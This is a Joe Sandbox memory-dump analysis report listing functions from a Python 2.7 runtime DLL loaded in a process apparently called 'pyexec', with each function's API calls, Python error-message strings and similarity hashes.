Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_IterList_Object_StringTupleTuple_
String ID: null argument to internal routine
API String ID: 2917739512-2212441169
Opcode ID: acfd1919c0bc529363e1287679344d67249d14aacaf7157bc079c0c9e82fb7a7
Instruction ID: 0088a5c93c83356063903368a0cae381310c22a2e4f2b145dd94c9d263a760ee
Opcode Fuzzy Hash: acfd1919c0bc529363e1287679344d67249d14aacaf7157bc079c0c9e82fb7a7
Instruction Fuzzy Hash: 1951E07AE005149BCB10CE74E84099A73A8EF55339F244369EC5887B80E739EA96D7D1

Function 6C12F990 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 158COMMON

Download Yara Rule

APIs

PyString_FromString.PYTHON27(__class__,?,?,?,?,6C12FC7B,?), ref: 6C12F9A7
PyString_InternInPlace.PYTHON27(?), ref: 6C12F9BA
PyClass_IsSubclass.PYTHON27(?,?,?,?,?,?,?,6C12FC7B,?), ref: 6C12F9F7
PyType_IsSubtype.PYTHON27(?,?,?,?,?,?,?,6C12FC7B,?), ref: 6C12FA1A
PyObject_GetAttr.PYTHON27(?,?), ref: 6C12FA2A
PyErr_Clear.PYTHON27 ref: 6C12FA38
PyType_IsSubtype.PYTHON27(?,?), ref: 6C12FA6A
PyObject_GetAttr.PYTHON27(?,?), ref: 6C12FAB1
PyErr_Clear.PYTHON27 ref: 6C12FABF

Strings

isinstance() arg 2 must be a class, type, or tuple of classes and types, xrefs: 6C12FA8E
__class__, xrefs: 6C12F9A2

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: AttrClearErr_Object_String_SubtypeType_$Class_FromInternPlaceStringSubclass
String ID: __class__$isinstance() arg 2 must be a class, type, or tuple of classes and types
API String ID: 4175812343-2868327839
Opcode ID: 0263dc5ac251b0e7c2421c92d3276e7467cfa8e8dacfae80d6ef2f74e6f5c6e0
Instruction ID: 3f589bf6062bb276b3c6db79dd5774afb7f989f6d0857ed42dc03b5b3e810bc7
Opcode Fuzzy Hash: 0263dc5ac251b0e7c2421c92d3276e7467cfa8e8dacfae80d6ef2f74e6f5c6e0
Instruction Fuzzy Hash: 05412C7BB0011457CB10DA6EBD40AEAB3A8DB84279F180379ED2CC7B40E62ADC5583E1

Function 6C15E150 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 150COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\longobject.c,000003B2), ref: 6C15E178
PyInt_AsLong.PYTHON27(?), ref: 6C15E1A7

Strings

..\Objects\longobject.c, xrefs: 6C15E16D
an integer is required, xrefs: 6C15E273
%s:%d: bad argument to internal function, xrefs: 6C15E172
integer conversion failed, xrefs: 6C15E253

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_FormatInt_Long
String ID: %s:%d: bad argument to internal function$..\Objects\longobject.c$an integer is required$integer conversion failed
API String ID: 651860925-798106294
Opcode ID: 47a75acdbb290a6a56c3d6c2fb93c471eca0387dfb60a093b0ec116e25450910
Instruction ID: 606fac3ebc81d88773faf70f44a2a88ff57cc10e7b91620074f5a6e7429ce1d6
Opcode Fuzzy Hash: 47a75acdbb290a6a56c3d6c2fb93c471eca0387dfb60a093b0ec116e25450910
Instruction Fuzzy Hash: 7E414BB6F0010417D210D9A9AC81F967395DF95334F644779FD38C77C0EB26D92686D1

Function 6C1C5D90 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 136COMMON

Download Yara Rule

APIs

PyString_FromString.PYTHON27(PyArg_UnpackTuple() argument list is not a tuple), ref: 6C1C5DB2
PyErr_SetObject.PYTHON27(6C2E65C8,00000000,PyArg_UnpackTuple() argument list is not a tuple), ref: 6C1C5DBB
PyErr_Format.PYTHON27(6C2E48B0,%s expected %s%zd arguments, got %zd,00000002,6C1EAF8E,6C1EAF8E,?), ref: 6C1C5E0F
PyErr_Format.PYTHON27(6C2E48B0,unpacked tuple should have %s%zd elements, but has %zd,6C1EAF8E,6C1EAF8E,?), ref: 6C1C5E38
PyErr_Format.PYTHON27(6C2E48B0,%s expected %s%zd arguments, got %zd,00000002,6C1EAF8E,6C1EAF8E,?), ref: 6C1C5E74
PyErr_Format.PYTHON27(6C2E48B0,unpacked tuple should have %s%zd elements, but has %zd,6C1EAF8E,6C1EAF8E,?), ref: 6C1C5EA0

Strings

%s expected %s%zd arguments, got %zd, xrefs: 6C1C5E09, 6C1C5E6E
at least , xrefs: 6C1C5DFB, 6C1C5E07, 6C1C5E24, 6C1C5E2B
unpacked tuple should have %s%zd elements, but has %zd, xrefs: 6C1C5E32, 6C1C5E9A
PyArg_UnpackTuple() argument list is not a tuple, xrefs: 6C1C5DAD
at most , xrefs: 6C1C5E5F, 6C1C5E6C, 6C1C5E8D, 6C1C5E94

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$Format$FromObjectStringString_
String ID: %s expected %s%zd arguments, got %zd$PyArg_UnpackTuple() argument list is not a tuple$at least $at most $unpacked tuple should have %s%zd elements, but has %zd
API String ID: 542344229-3688193887
Opcode ID: 8409981101bc4832740bbeecfe8d28cc919dd586c3e063b90c4f3e4be5af6aec
Instruction ID: c0d8cffa8cdaa33344aede011984482d2185c1eaa2638bd05bcb40baf4b89b5b
Opcode Fuzzy Hash: 8409981101bc4832740bbeecfe8d28cc919dd586c3e063b90c4f3e4be5af6aec
Instruction Fuzzy Hash: 99414076B055181BDB10CE58EC419BBB368DBB4328F104569FC1CD7B00E625FC1197E2

Function 6C167E70 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 131COMMON

Download Yara Rule

APIs

PyDict_New.PYTHON27 ref: 6C167E8E

Part of subcall function 6C144510: PyString_FromString.PYTHON27(<dummy key>,00000000,00000000,00000000,?,?,6C1650C0,?,00000014,?,6C1CDEB4), ref: 6C144529

PyErr_Clear.PYTHON27 ref: 6C167EA0
PyString_FromString.PYTHON27(Py_Repr), ref: 6C167EBB
PyDict_GetItem.PYTHON27(?,00000000), ref: 6C167ECB
_PyObject_GC_Malloc.PYTHON27(00000014), ref: 6C167F15
Py_FatalError.PYTHON27(GC object already tracked), ref: 6C167F4F
PyDict_SetItemString.PYTHON27(?,Py_Repr,00000000), ref: 6C167F81
PyList_Append.PYTHON27(-000000FF,000000FE), ref: 6C167FBE

Strings

P&0l, xrefs: 6C167F64, 6C167F6C, 6C167F7B
Py_Repr, xrefs: 6C167EB6, 6C167F73
GC object already tracked, xrefs: 6C167F4A

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Dict_String$FromItemString_$AppendClearErr_ErrorFatalList_MallocObject_
String ID: GC object already tracked$P&0l$Py_Repr
API String ID: 2081235056-2898485665
Opcode ID: 4431f03768b2f92e0ee03cce66611e6b3b7a7f349381e33de7cf96162fc78be7
Instruction ID: ce78a0d473a812f1fac18387dcd09fd1960e93970f90b81205b021695c346a1c
Opcode Fuzzy Hash: 4431f03768b2f92e0ee03cce66611e6b3b7a7f349381e33de7cf96162fc78be7
Instruction Fuzzy Hash: 4741D7726015058FC720CF6AD840956B7E4EB9532872447AAE83987F81E736E896CBD1

Function 6C139450 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 127COMMON

Download Yara Rule

Strings

PyCapsule_Import could not import module "%s", xrefs: 6C139570
PyCapsule_Import "%s" is not valid, xrefs: 6C13958A

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID:
String ID: PyCapsule_Import "%s" is not valid$PyCapsule_Import could not import module "%s"
API String ID: 0-4167395026
Opcode ID: 39c3e2a2be69ac9e5829a3a09105dd6582cbb5b944361790d3d41b63eca78207
Instruction ID: f40f5ea25e6b28809e1f292f5c20bdfc4733665e6dd6912bac127f95e472ce9f
Opcode Fuzzy Hash: 39c3e2a2be69ac9e5829a3a09105dd6582cbb5b944361790d3d41b63eca78207
Instruction Fuzzy Hash: 214136B7A017209BC7018F64D89099A77B8AF9572CF144229EC2C8BB40EF36D985C7E1

Function 6C1C3940 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 124COMMON

Download Yara Rule

APIs

PyOS_snprintf.PYTHON27(?,00000200,%.200s() ,?,?,?), ref: 6C1C3993
PyOS_snprintf.PYTHON27(?,?,argument %d,?,?,?), ref: 6C1C39C1
PyOS_snprintf.PYTHON27(?,?,, item %d,?,?,?,?,?), ref: 6C1C3A08
PyOS_snprintf.PYTHON27(?,?,argument,?,?), ref: 6C1C3A35
PyOS_snprintf.PYTHON27(?,?, %.256s,?,?,?,?), ref: 6C1C3A60
PyErr_SetString.PYTHON27(6C2E48B0,6C1C59A9,?,?), ref: 6C1C3A75

Strings

argument, xrefs: 6C1C3A2C
%.200s() , xrefs: 6C1C3986
%.256s, xrefs: 6C1C3A57
argument %d, xrefs: 6C1C39B8
, item %d, xrefs: 6C1C39FF

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: S_snprintf$Err_String
String ID: %.256s$%.200s() $, item %d$argument$argument %d
API String ID: 2015450010-3294918661
Opcode ID: 53b0fcec3d2ee8e7e21b207f68ccd39bff8a8e5d85f773f34375b3dfa3ff1d51
Instruction ID: 517db43b72209bec694e3a41ef220dc6a6c1e4107369efccb15a0f9ec083fa2d
Opcode Fuzzy Hash: 53b0fcec3d2ee8e7e21b207f68ccd39bff8a8e5d85f773f34375b3dfa3ff1d51
Instruction Fuzzy Hash: BB411475B001189BD701DE68CD58AEA37B99F55708F444690FC58D7B05EB38DB0AC7D2

Function 6C1A07B0 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 110stringCOMMON

Download Yara Rule

APIs

getenv.MSVCR90 ref: 6C1A07C1
GetModuleFileNameA.KERNEL32(?,6C3213D8,00000100), ref: 6C1A07F0
GetModuleFileNameA.KERNEL32(00000000,6C3214E0,00000100), ref: 6C1A0807
strchr.MSVCR90 ref: 6C1A082E
strchr.MSVCR90 ref: 6C1A083E
strchr.MSVCR90 ref: 6C1A0853
strncpy.MSVCR90 ref: 6C1A0876
strncpy.MSVCR90 ref: 6C1A0894
_stat64i32.MSVCR90(6C3214E0,?), ref: 6C1A08B1
strncpy.MSVCR90 ref: 6C1A08E6

Strings

PATH, xrefs: 6C1A07BC

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: strchrstrncpy$FileModuleName$_stat64i32getenv
String ID: PATH
API String ID: 2662838222-1036084923
Opcode ID: edcb1b9c0a399ec0ba000dcc359b8163e2c60aeec485addc8f19c5c934ce83d5
Instruction ID: 956111cd3745a470b627e6eb070506a272f4811dd128f61e17b7360087255e66
Opcode Fuzzy Hash: edcb1b9c0a399ec0ba000dcc359b8163e2c60aeec485addc8f19c5c934ce83d5
Instruction Fuzzy Hash: 9B31AF35F053406BEB2096E54C00B473B789F5539DF050128FC6AE3A41EB3AE825CBE6

Function 6C0A57B0 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 42COMMON

Download Yara Rule

APIs

Py_InitModule4.PYTHON27(_collections,00000000,High performance data structures.- deque: ordered collection accessible from endpoints only- defaultdict: dict subclass with a default value factory,00000000,000003F5), ref: 6C0A57C4
PyType_Ready.PYTHON27(6C30FF60), ref: 6C0A57D7
PyModule_AddObject.PYTHON27(00000000,deque,6C30FF60), ref: 6C0A57F4

Part of subcall function 6C1CEC70: PyType_IsSubtype.PYTHON27(?,?,?,?,6C0A57F9,00000000,deque,6C30FF60), ref: 6C1CEC87
Part of subcall function 6C1CEC70: PyErr_SetString.PYTHON27(6C2E48B0,PyModule_AddObject() needs module as first arg,deque,6C30FF60), ref: 6C1CEC9E

PyType_Ready.PYTHON27(6C3104E8,00000000,deque,6C30FF60), ref: 6C0A5808
PyModule_AddObject.PYTHON27(00000000,defaultdict,6C3104E8), ref: 6C0A5825

Part of subcall function 6C1CEC70: PyErr_SetString.PYTHON27(6C2E48B0,PyModule_AddObject() needs non-NULL value,00000000,?,?,6C0A57F9,00000000,deque,6C30FF60), ref: 6C1CECCB

PyType_Ready.PYTHON27(6C310080,00000000,defaultdict,6C3104E8), ref: 6C0A582F
PyType_Ready.PYTHON27(6C310148), ref: 6C0A5840

Strings

_collections, xrefs: 6C0A57BF
deque, xrefs: 6C0A57EE
defaultdict, xrefs: 6C0A581F
High performance data structures.- deque: ordered collection accessible from endpoints only- defaultdict: dict subclass with a default value factory, xrefs: 6C0A57B8

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Type_$Ready$Err_Module_ObjectString$InitModule4Subtype
String ID: High performance data structures.- deque: ordered collection accessible from endpoints only- defaultdict: dict subclass with a default value factory$_collections$defaultdict$deque
API String ID: 1447583621-1048529482
Opcode ID: b5e0018c7cd3d93c44038d79c5555a2808d5c5e57f741cdfbcc0f670c7ba4abe
Instruction ID: 077d412301085bf3d18f91aa210b3a303ace5c1ec32c5f31f524c25880d8b9f3
Opcode Fuzzy Hash: b5e0018c7cd3d93c44038d79c5555a2808d5c5e57f741cdfbcc0f670c7ba4abe
Instruction Fuzzy Hash: 7AF09676A45A5137E56421E81C07BAA31A49B1510CF140861FD29B1F03FF0CA1758ABF

Function 6C12C680 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 339COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON27(?,?), ref: 6C12C6E0
PyNumber_CoerceEx.PYTHON27(00000000,?), ref: 6C12C805
PyErr_SetString.PYTHON27(6C2E48B0,number coercion failed), ref: 6C12C85F
PyErr_Format.PYTHON27(6C2E48B0,unsupported operand type(s) for ** or pow(): '%.100s' and '%.100s',?,?), ref: 6C12C895
PyErr_Format.PYTHON27(6C2E48B0,unsupported operand type(s) for pow(): '%.100s', '%.100s', '%.100s',?,?,?), ref: 6C12C9E9

Strings

unsupported operand type(s) for ** or pow(): '%.100s' and '%.100s', xrefs: 6C12C88F
number coercion failed, xrefs: 6C12C859
unsupported operand type(s) for pow(): '%.100s', '%.100s', '%.100s', xrefs: 6C12C9E3

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$Format$CoerceNumber_StringSubtypeType_
String ID: number coercion failed$unsupported operand type(s) for ** or pow(): '%.100s' and '%.100s'$unsupported operand type(s) for pow(): '%.100s', '%.100s', '%.100s'
API String ID: 3280144513-1853844853
Opcode ID: 527e341aeab49a1a12c67c9632708fd5423c261c202bef080c614b9bdae03e51
Instruction ID: 7d8b49fe671cb28ae35e627ef6753f46270ee2b6ed64cebc7f1ffc8c1956044d
Opcode Fuzzy Hash: 527e341aeab49a1a12c67c9632708fd5423c261c202bef080c614b9bdae03e51
Instruction Fuzzy Hash: CCC1C379A002059FEB00DF54C890E9AB7B5FF98324F258658ED199BB40D738ED92DB90

Function 6C0A7EC0 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 164COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27(?,OOOO,?,?,?,?), ref: 6C0A7EF9
PyCallable_Check.PYTHON27(?), ref: 6C0A7F0E

Part of subcall function 6C167170: PyObject_GetAttrString.PYTHON27(6C12F42C,__call__,?,6C12F42C,00000000), ref: 6C16718B
Part of subcall function 6C167170: PyErr_Clear.PYTHON27(6C12F42C,00000000), ref: 6C167197

PySequence_Tuple.PYTHON27(?), ref: 6C0A7F54
PyDict_New.PYTHON27 ref: 6C0A7F7A
PyDict_Copy.PYTHON27(?), ref: 6C0A7F8F

Part of subcall function 6C1466F0: PyDict_New.PYTHON27 ref: 6C14670B
Part of subcall function 6C1466F0: PyDict_Merge.PYTHON27(00000000,?,00000001), ref: 6C14671A

PyString_FromString.PYTHON27(invalid partial state), ref: 6C0A8079
PyErr_SetObject.PYTHON27(6C2E48B0,00000000,invalid partial state), ref: 6C0A8082

Strings

(}.l, xrefs: 6C0A7F85
OOOO, xrefs: 6C0A7EF3
invalid partial state, xrefs: 6C0A8074

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Dict_$Err_StringTuple$Arg_AttrCallable_CheckClearCopyFromMergeObjectObject_ParseSequence_String_
String ID: (}.l$OOOO$invalid partial state
API String ID: 632166634-3827197021
Opcode ID: 166292f61cddb1cfd97fdbd67bf43fa155aa2ee00a35f489ef3820195d7681c9
Instruction ID: 74330057af6dfbddaa16887d4c5ccd23d2ad155bb7a9037a3e1f6dd5900bab86
Opcode Fuzzy Hash: 166292f61cddb1cfd97fdbd67bf43fa155aa2ee00a35f489ef3820195d7681c9
Instruction Fuzzy Hash: E45170719043019FC300DF99D840F5AB3F4AB89324F14CA6DE8698BB92D735E946CB92

Function 6C179140 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 153COMMON

Download Yara Rule

APIs

PyTuple_New.PYTHON27(00000000,00000000,00000000,?), ref: 6C17919A
_PyObject_GC_Resize.PYTHON27(00000000,00000000,00000000,00000000,?), ref: 6C17920E
PyObject_GC_Del.PYTHON27(00000000,00000000,?), ref: 6C179222
memset.MSVCR90 ref: 6C179250
Py_FatalError.PYTHON27(GC object already tracked,00000000,?), ref: 6C17926B
PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\tupleobject.c,0000034E,00000000,00000000,?), ref: 6C1792D0

Strings

P&0l, xrefs: 6C179280, 6C179288, 6C179290
..\Objects\tupleobject.c, xrefs: 6C1792C5
%s:%d: bad argument to internal function, xrefs: 6C1792CA
GC object already tracked, xrefs: 6C179266

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Object_$Err_ErrorFatalFormatResizeTuple_memset
String ID: %s:%d: bad argument to internal function$..\Objects\tupleobject.c$GC object already tracked$P&0l
API String ID: 3323702923-3861189687
Opcode ID: f582eff41708366727b88b90d17470802c729af9147dbcee2d254ac9aa911797
Instruction ID: 0d0768b813fe0efc07750cdd6e0dd8e257b65dd09d2b0c2afd5b77893189c3ec
Opcode Fuzzy Hash: f582eff41708366727b88b90d17470802c729af9147dbcee2d254ac9aa911797
Instruction Fuzzy Hash: 60513BB26007068BD720DF69D88059AB3E5EF55338F204B2DDC6987BC0E771E85ACB91

Function 6C16FFF0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 142COMMON

Download Yara Rule

APIs

PyString_FromString.PYTHON27(string is too large to make repr,00000000,?,?,?,00000000), ref: 6C170014
PyErr_SetObject.PYTHON27(6C2E63F8,00000000,string is too large to make repr,00000000,?,?,?,00000000), ref: 6C17001D
PyString_FromStringAndSize.PYTHON27(00000000,?,00000000,?,?,?,00000000), ref: 6C17004D
memchr.MSVCR90 ref: 6C17007D
memchr.MSVCR90 ref: 6C17008D
_PyString_Resize.PYTHON27(?,00000002), ref: 6C170144

Strings

string is too large to make repr, xrefs: 6C17000F
